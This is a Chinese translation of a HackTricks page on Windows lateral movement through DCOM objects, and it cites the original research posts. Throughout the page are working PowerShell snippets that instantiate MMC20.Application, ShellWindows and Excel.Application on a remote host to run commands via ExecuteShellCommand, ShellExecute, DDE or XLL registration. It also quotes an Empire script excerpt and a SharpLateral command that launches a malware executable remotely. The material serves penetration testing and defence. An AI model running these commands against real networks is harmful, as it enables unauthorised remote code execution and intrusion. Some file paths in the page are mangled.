从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) ! 您在网络安全公司 工作吗? 想要看到您的公司在HackTricks中做广告 ? 或者想要访问PEASS的最新版本或下载HackTricks的PDF ? 请查看订阅计划 !
Try Hard Security Group
MMC20.Application
有关此技术的更多信息,请查看原始帖子 https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
分布式组件对象模型(DCOM)对象为基于网络的对象交互提供了有趣的功能。 Microsoft为DCOM和组件对象模型(COM)提供了全面的文档,可在此处查看DCOM 和此处查看COM 。 可以使用PowerShell命令检索DCOM应用程序的列表:
复制 Get-CimInstance Win32_DCOMApplication
COM对象,MMC Application Class (MMC20.Application) ,可以对MMC插件操作进行脚本编写。特别是,该对象在Document.ActiveView
下包含一个ExecuteShellCommand
方法。有关此方法的更多信息可以在此处 找到。运行以下命令进行检查:
此功能通过DCOM应用程序促进了通过网络执行命令。要远程以管理员身份与DCOM进行交互,可以使用PowerShell进行如下操作:
复制 [ activator ]::CreateInstance([ type ]::GetTypeFromProgID( "<DCOM_ProgID>" , "<IP_Address>" ))
这个命令连接到DCOM应用程序并返回COM对象的一个实例。然后可以调用ExecuteShellCommand方法在远程主机上执行一个进程。该进程涉及以下步骤:
检查方法:
复制 $com = [ activator ]::CreateInstance([ type ]::GetTypeFromProgID( "MMC20.Application" , "10.10.10.10" ))
$com.Document.ActiveView | Get-Member
获取远程代码执行(RCE):
复制 $com = [ activator ]::CreateInstance([ type ]::GetTypeFromProgID( "MMC20.Application" , "10.10.10.10" ))
$com | Get-Member
# Then just run something like:
ls \\ 10.10 . 10.10 \c$\Users
ShellWindows & ShellBrowserWindow
有关此技术的更多信息,请查阅原始文章 https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
发现MMC20.Application 对象缺乏显式的“LaunchPermissions”,默认权限允许管理员访问。有关更多详细信息,请查看此处 ,建议使用@tiraniddo 的OleView .NET来过滤没有显式启动权限的对象。
由于缺乏显式启动权限,两个特定对象ShellBrowserWindow
和ShellWindows
受到关注。在HKCR:\AppID\{guid}
下缺少LaunchPermission
注册表项表示没有显式权限。
ShellWindows
对于ShellWindows
,缺少ProgID,.NET方法Type.GetTypeFromCLSID
和Activator.CreateInstance
可使用其AppID进行对象实例化。此过程利用OleView .NET检索ShellWindows
的CLSID。一旦实例化,可以通过WindowsShell.Item
方法进行交互,从而导致像Document.Application.ShellExecute
这样的方法调用。
提供了示例PowerShell命令来实例化对象并远程执行命令:
复制 $com = [ Type ]::GetTypeFromCLSID( "<clsid>" , "<IP>" )
$obj = [ System.Activator ]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute( "cmd.exe" , "/c calc.exe" , "c:\windows\system32" , $null , 0 )
使用 Excel DCOM 对象进行横向移动
通过利用 DCOM Excel 对象可以实现横向移动。有关详细信息,请阅读Cybereason博客 上关于利用Excel DDE通过DCOM进行横向移动的讨论。
Empire项目提供了一个PowerShell脚本,演示了通过操纵DCOM对象利用Excel进行远程代码执行(RCE)的方法。以下是从Empire的GitHub存储库 中提取的脚本片段,展示了滥用Excel进行RCE的不同方法:
复制 # Detection of Office version
elseif ($Method -Match "DetectOffice" ) {
$Com = [ Type ]::GetTypeFromProgID( "Excel.Application" , "$ComputerName" )
$Obj = [ System.Activator ]::CreateInstance($Com)
$isx64 = [ boolean ]$obj.Application.ProductCode[ 21 ]
Write-Host $ ( If ($isx64) { "Office x64 detected" } Else { "Office x86 detected" })
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL" ) {
$Com = [ Type ]::GetTypeFromProgID( "Excel.Application" , "$ComputerName" )
$Obj = [ System.Activator ]::CreateInstance($Com)
$obj.Application.RegisterXLL( "$DllPath" )
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE" ) {
$Com = [ Type ]::GetTypeFromProgID( "Excel.Application" , "$ComputerName" )
$Obj = [ System.Activator ]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate( "cmd" , "/c $Command" )
}
用于横向移动的自动化工具
自动化这些技术的两个工具如下:
Invoke-DCOM.ps1 :Empire项目提供的一个PowerShell脚本,简化了在远程计算机上执行代码的不同方法的调用。此脚本可在Empire GitHub存储库中访问。
SharpLateral :一款用于远程执行代码的工具,可使用以下命令:
复制 SharpLateral.exe reddcom HOSTNAME C: \U sers \A dministrator \D esktop \m alware.exe
自动化工具
复制 SharpLateral.exe reddcom HOSTNAME C: \U sers \A dministrator \D esktop \m alware.exe
参考资料
Try Hard Security Group
从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert) ! 支持HackTricks的其他方式:
如果您想在HackTricks中看到您的公司广告 或下载PDF版本的HackTricks ,请查看订阅计划 !